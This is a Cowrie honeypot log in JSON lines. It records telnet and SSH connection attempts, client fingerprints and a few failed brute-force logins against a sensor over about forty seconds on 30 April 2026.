{"eventid":"cowrie.session.closed","duration":30.724470138549805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:48.112763Z","src_ip":"133.130.78.211","session":"54c1efac6e2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10300874710083,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:48.829095Z","src_ip":"103.216.223.28","session":"53de9ba971d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.373700618743896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:49.160803Z","src_ip":"103.216.223.28","session":"6a73eb446983","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.732465267181396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:49.193685Z","src_ip":"103.216.223.28","session":"3bcd93918874","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":47094,"dst_ip":"159.203.135.109","dst_port":23,"session":"03eda9801d6f","protocol":"telnet","message":"New connection: 51.38.143.2:47094 (159.203.135.109:23) [session: 03eda9801d6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:49.199049Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":47106,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d74d7424bf5","protocol":"telnet","message":"New connection: 51.38.143.2:47106 (159.203.135.109:23) [session: 9d74d7424bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:49.588259Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":47112,"dst_ip":"159.203.135.109","dst_port":23,"session":"21257c4635bf","protocol":"telnet","message":"New connection: 51.38.143.2:47112 (159.203.135.109:23) [session: 21257c4635bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:49.855114Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.210.206.54","src_port":49898,"dst_ip":"159.203.135.109","dst_port":23,"session":"a74d70005d86","protocol":"telnet","message":"New connection: 180.210.206.54:49898 (159.203.135.109:23) [session: a74d70005d86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:50.098146Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.210.206.54","src_port":49932,"dst_ip":"159.203.135.109","dst_port":23,"session":"3649d29d93f7","protocol":"telnet","message":"New connection: 180.210.206.54:49932 (159.203.135.109:23) [session: 3649d29d93f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:50.241057Z"}
{"eventid":"cowrie.session.closed","duration":30.523711919784546,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:51.114533Z","src_ip":"103.216.223.28","session":"54aca3c51ace","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75470542907715,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:51.461083Z","src_ip":"51.38.143.2","session":"6d245d3b4797","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":47128,"dst_ip":"159.203.135.109","dst_port":23,"session":"565bca9fd045","protocol":"telnet","message":"New connection: 51.38.143.2:47128 (159.203.135.109:23) [session: 565bca9fd045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:51.706969Z"}
{"eventid":"cowrie.session.closed","duration":30.814188241958618,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:52.141758Z","src_ip":"103.216.223.28","session":"935ebf161db9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.507957458496094,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:52.346838Z","src_ip":"51.38.143.2","session":"69d6e049139b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.81248378753662,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:52.821682Z","src_ip":"103.216.223.28","session":"0c65403caeea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.634376287460327,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:53.386513Z","src_ip":"133.130.78.211","session":"84e87b636bea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":47140,"dst_ip":"159.203.135.109","dst_port":23,"session":"367f9ee25e97","protocol":"telnet","message":"New connection: 51.38.143.2:47140 (159.203.135.109:23) [session: 367f9ee25e97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:54.174943Z"}
{"eventid":"cowrie.session.closed","duration":31.193253993988037,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:55.120651Z","src_ip":"180.210.206.54","session":"c98c278a1e20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.152649402618408,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:55.243769Z","src_ip":"103.216.223.28","session":"0c52d6159510","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.32328701019287,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:56.622996Z","src_ip":"103.216.223.28","session":"44f97e02539e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.20.218","src_port":59062,"dst_ip":"159.203.135.109","dst_port":22,"session":"032cb51604e7","protocol":"ssh","message":"New connection: 103.172.20.218:59062 (159.203.135.109:22) [session: 032cb51604e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:57.275142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:57.279656Z","src_ip":"103.172.20.218","session":"032cb51604e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":56332,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f5548d80782","protocol":"telnet","message":"New connection: 51.38.143.2:56332 (159.203.135.109:23) [session: 1f5548d80782]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:57.485448Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:57.507696Z","src_ip":"103.172.20.218","session":"032cb51604e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1111","message":"login attempt [ubuntu/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:58.449548Z","src_ip":"103.172.20.218","session":"032cb51604e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.412034034729004,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:58.466143Z","src_ip":"133.130.78.211","session":"89ce55229c81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:59.679765Z","src_ip":"103.172.20.218","session":"032cb51604e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":56348,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b0f18bd3c5c","protocol":"telnet","message":"New connection: 51.38.143.2:56348 (159.203.135.109:23) [session: 9b0f18bd3c5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:01.886996Z"}
{"eventid":"cowrie.session.closed","duration":30.693814754486084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:02.294483Z","src_ip":"133.130.78.211","session":"0ead7fea96c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.78.211","src_port":45150,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ea307a02d8c","protocol":"telnet","message":"New connection: 133.130.78.211:45150 (159.203.135.109:23) [session: 0ea307a02d8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:02.310925Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":56352,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0e250c392f4","protocol":"telnet","message":"New connection: 51.38.143.2:56352 (159.203.135.109:23) [session: a0e250c392f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:02.912631Z"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.78.211","src_port":46622,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d5e5c082ac1","protocol":"telnet","message":"New connection: 133.130.78.211:46622 (159.203.135.109:23) [session: 2d5e5c082ac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:05.366327Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":42034,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ebf82b35425","protocol":"telnet","message":"New connection: 51.38.143.2:42034 (159.203.135.109:23) [session: 9ebf82b35425]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:05.734203Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":42050,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a47f2cf7977","protocol":"telnet","message":"New connection: 51.38.143.2:42050 (159.203.135.109:23) [session: 5a47f2cf7977]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:07.276121Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":42056,"dst_ip":"159.203.135.109","dst_port":23,"session":"866cf03b41dc","protocol":"telnet","message":"New connection: 51.38.143.2:42056 (159.203.135.109:23) [session: 866cf03b41dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:08.659545Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":42064,"dst_ip":"159.203.135.109","dst_port":23,"session":"5886467604ab","protocol":"telnet","message":"New connection: 51.38.143.2:42064 (159.203.135.109:23) [session: 5886467604ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:09.948644Z"}
{"eventid":"cowrie.session.closed","duration":31.550845861434937,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:12.176932Z","src_ip":"51.38.143.2","session":"a5e22895b00c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13931179046631,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:12.734807Z","src_ip":"51.38.143.2","session":"b7275e2ec689","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":42066,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a9940addc61","protocol":"telnet","message":"New connection: 51.38.143.2:42066 (159.203.135.109:23) [session: 5a9940addc61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:12.779063Z"}
{"eventid":"cowrie.session.closed","duration":30.96027445793152,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:13.133142Z","src_ip":"133.130.78.211","session":"be542b475222","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.112242221832275,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:15.807025Z","src_ip":"51.38.143.2","session":"74de338f4521","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.493831157684326,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:17.454428Z","src_ip":"51.38.143.2","session":"938b1e18e79d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":41908,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f3407a8170d","protocol":"telnet","message":"New connection: 51.38.143.2:41908 (159.203.135.109:23) [session: 8f3407a8170d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:18.183351Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":41918,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba3ec8913cfa","protocol":"telnet","message":"New connection: 51.38.143.2:41918 (159.203.135.109:23) [session: ba3ec8913cfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:18.555087Z"}
{"eventid":"cowrie.session.closed","duration":30.50176763534546,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:19.700714Z","src_ip":"51.38.143.2","session":"03eda9801d6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.802126169204712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:20.390274Z","src_ip":"51.38.143.2","session":"9d74d7424bf5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.662813425064087,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:20.517783Z","src_ip":"51.38.143.2","session":"21257c4635bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.773840188980103,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:21.014767Z","src_ip":"180.210.206.54","session":"3649d29d93f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97804570198059,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:21.076057Z","src_ip":"180.210.206.54","session":"a74d70005d86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33046,"dst_ip":"159.203.135.109","dst_port":22,"session":"99af0da3c6bf","protocol":"ssh","message":"New connection: 159.203.92.129:33046 (159.203.135.109:22) [session: 99af0da3c6bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:22.341680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:22.374472Z","src_ip":"159.203.92.129","session":"99af0da3c6bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:22.378177Z","src_ip":"159.203.92.129","session":"99af0da3c6bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"geny0024","message":"login attempt [admin/geny0024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:22.428488Z","src_ip":"159.203.92.129","session":"99af0da3c6bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.04045081138611,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:22.747292Z","src_ip":"51.38.143.2","session":"565bca9fd045","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":41932,"dst_ip":"159.203.135.109","dst_port":23,"session":"32b260f511b0","protocol":"telnet","message":"New connection: 51.38.143.2:41932 (159.203.135.109:23) [session: 32b260f511b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:22.756979Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":41948,"dst_ip":"159.203.135.109","dst_port":23,"session":"51d4e546c627","protocol":"telnet","message":"New connection: 51.38.143.2:41948 (159.203.135.109:23) [session: 51d4e546c627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:22.781195Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:23.434299Z","src_ip":"159.203.92.129","session":"99af0da3c6bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.225135564804077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:24.399965Z","src_ip":"51.38.143.2","session":"367f9ee25e97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":41960,"dst_ip":"159.203.135.109","dst_port":23,"session":"f415ef3db431","protocol":"telnet","message":"New connection: 51.38.143.2:41960 (159.203.135.109:23) [session: f415ef3db431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:24.456388Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":61647,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba1d4a9e1c4a","protocol":"ssh","message":"New connection: 223.197.186.7:61647 (159.203.135.109:22) [session: ba1d4a9e1c4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:25.064121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:25.068732Z","src_ip":"223.197.186.7","session":"ba1d4a9e1c4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:25.293446Z","src_ip":"223.197.186.7","session":"ba1d4a9e1c4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":35434,"dst_ip":"159.203.135.109","dst_port":23,"session":"d274ee7282a3","protocol":"telnet","message":"New connection: 51.38.143.2:35434 (159.203.135.109:23) [session: d274ee7282a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:25.665109Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootpasswd","message":"login attempt [root/rootpasswd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:26.211136Z","src_ip":"223.197.186.7","session":"ba1d4a9e1c4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:27.426595Z","src_ip":"223.197.186.7","session":"ba1d4a9e1c4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.86976385116577,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:28.354940Z","src_ip":"51.38.143.2","session":"1f5548d80782","protocol":"telnet"}
